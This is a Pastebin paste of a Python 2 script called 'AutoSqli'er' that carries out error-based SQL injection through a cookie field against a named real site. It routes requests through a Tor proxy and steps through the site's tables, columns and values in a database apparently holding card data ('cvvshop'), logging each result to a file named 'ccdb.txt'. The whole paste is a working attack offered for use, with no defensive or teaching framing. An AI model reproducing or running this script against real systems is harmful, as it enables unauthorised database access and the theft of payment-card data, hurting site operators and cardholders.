zymtom

AutoSqli'er, cookies bigbase.su

Aug 25th, 2014
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.84 KB | None | 0 0
  1. import requests
  2. import re
  3. file = open("ccdb.txt", "w")
  4. run = True
  5. increment = 0
  6. tables = []
  7. columns = []
  8. values = {}
  9. proxies = {
  10.   "http": "http://127.0.0.1:9050",
  11.   "https": "https://127.0.0.1:9050",
  12. }
  13. print "[+] Starting scanning..."
  14. while run == True:
  15.     if 1:
  16.         payload = "'  and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit " + str(increment) + ",1),floor(rand(0)*2))x from information_schema.tables group by x)a)--%20"
  17.         cookies = {'cookname':payload, 'cookpass':' '}
  18.         headers = {'Referer': 'Referer: http://bigbase.su/'}
  19.     try:
  20.         r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
  21.     except Exception:
  22.         get = True
  23.         print "[-] Failed to make request, trying again."
  24.         while get == True:
  25.             try:
  26.                 r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
  27.                 get = False
  28.             except Exception:
  29.                 get = True
  30.                 print "[-] Failed to make request, trying again."
  31.    
  32.     if increment == 0:
  33.         print "[+] Scanning started!"
  34.     if "MySQL Error" in r.text:
  35.         """match = re.search(".*<tr><td align=\"right\" valign=\"top\" nowrap=\"\">MySQL Error:<\/td><td>Duplicate entry \'(.*)~1\' for key \'group_key\'<\/td><\/tr>.*", r.text)
  36.         print match.group(0)"""
  37.         try:
  38.             regex = re.compile("Duplicate entry '(.*?)~1' for key 'group_key'")
  39.             r = regex.search(r.text)
  40.             if not r.groups()[0] == "":
  41.                 tables.append(r.groups()[0])
  42.                 print "[+] Table found: " + r.groups()[0]
  43.                 file.write("[+] Table found: " + r.groups()[0] + "\n")
  44.             else:
  45.                 print "[-] Error %s" % r.groups()
  46.             increment = increment + 1
  47.         except Exception:
  48.             print "[-] Could not get table for index " + str(increment) + ". Please do manually."
  49.             file.write("[-] Could not get table for index " + str(increment) + ". Please do manually.")
  50.             increment = increment + 1
  51.            
  52.     else:
  53.         run = False
  54.         increment = 0
  55. if len(tables) > 0:
  56.     print "[+] Found %s tables" % str(len(tables))
  57.     print "[+] Starting to get column count..."
  58.     for i in tables:
  59.         run = True
  60.         tablehexed = str(i)
  61.         tablehexed = tablehexed.encode('hex')
  62.         while run == True:
  63.             if 1:
  64.                 payload = "'   and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x" + str(tablehexed) + " limit " + str(increment) + ",1),floor(rand(0)*2))x from information_schema.tables group by x)a)--%20"
  65.                 cookies = {'cookname':payload, 'cookpass':''}
  66.                 headers = {'Referer': 'Referer: http://bigbase.su/'}
  67.             try:
  68.                 r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
  69.             except Exception:
  70.                 get = True
  71.                 print "[-] Failed to make request, trying again."
  72.                 while get == True:
  73.                     try:
  74.                         r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
  75.                         get = False
  76.                     except Exception:
  77.                         get = True
  78.                         print "[-] Failed to make request, trying again."
  79.             if "MySQL Error" in r.text:
  80.                 try:
  81.                     regex = re.compile("Duplicate entry '(.*?)~1' for key 'group_key'")
  82.                     r = regex.search(r.text)
  83.                     if not r.groups()[0] == "":
  84.                         columns.append((i, r.groups()[0]))
  85.                         print "[+] Column found: " + r.groups()[0] + " in table " + i
  86.                         file.write("[+] Column found: " + r.groups()[0] + " in table " + i + "\n")
  87.                     else:
  88.                         print "[-] Error %s" % match
  89.                     increment = increment + 1
  90.                 except Exception:
  91.                     print "[-] Could not get column for index " + str(increment) + ". Please do manually."
  92.                     file.write("[-] Could not get column for index " + str(increment) + ". Please do manually.")
  93.                     increment = increment + 1
  94.             else:
  95.                 print "[+] Found %s columns in the table %s" % (increment, i)
  96.                 run = False
  97.                 increment = 0
  98.     if len(columns) > 0:
  99.         for tab, col in columns:
  100.             run = True
  101.             while run == True:
  102.                 if 1:
  103.                     payload = "'   and (select 1 from (select count(*),concat((select(select concat(cast(concat(" + str(col) + ",0x7e) as char),0x7e)) from u8614963_cvvshop." + str(tab) + " limit " + str(increment) + ",1),floor(rand(0)*2))x from information_schema.tables group by x)a)--%20"
  104.                     cookies = {'cookname':payload, 'cookpass':''}
  105.                     headers = {'Referer': 'Referer: http://bigbase.su/'}
  106.                 try:
  107.                     r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
  108.                 except Exception:
  109.                     get = True
  110.                     print "[-] Failed to make request, trying again."
  111.                     while get == True:
  112.                         try:
  113.                             r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
  114.                             get = False
  115.                         except Exception:
  116.                             get = True
  117.                             print "[-] Failed to make request, trying again."
  118.                 if "MySQL Error" in r.text:
  119.                     regex = re.compile("Duplicate entry '(.*?)~~1' for key 'group_key'")
  120.                     r = regex.search(r.text)
  121.                     try:
  122.                         if not r.groups()[0] == "":
  123.                             values[tab] = {col:{increment:r.groups()[0]}}
  124.                             print "[+] Value found: " + r.groups()[0] + " in column " + col + " in table " + tab + " at index " + str(increment)
  125.                             file.write("[+] Value found: " + r.groups()[0] + " in column " + col + " in table " + tab + " at index " + str(increment) + "\n")
  126.                         else:
  127.                             print "[-] Error %s" % match
  128.                         increment = increment + 1
  129.                     except Exception:
  130.                         print "[-] Could not get value for index " + str(increment) + ". Please do manually."
  131.                         file.write("[-] Could not get value for index " + str(increment) + ". Please do manually.")
  132.                         increment = increment + 1
  133.                 else:
  134.                     run = False
  135.                     increment = 0
  136.         print "[+] Done scanning"
  137. else:
  138.     print "[-] Found no tables, scan quit"
  139.  
  140.  
  141. print values
Advertisement
Add Comment
Please, Sign In to add comment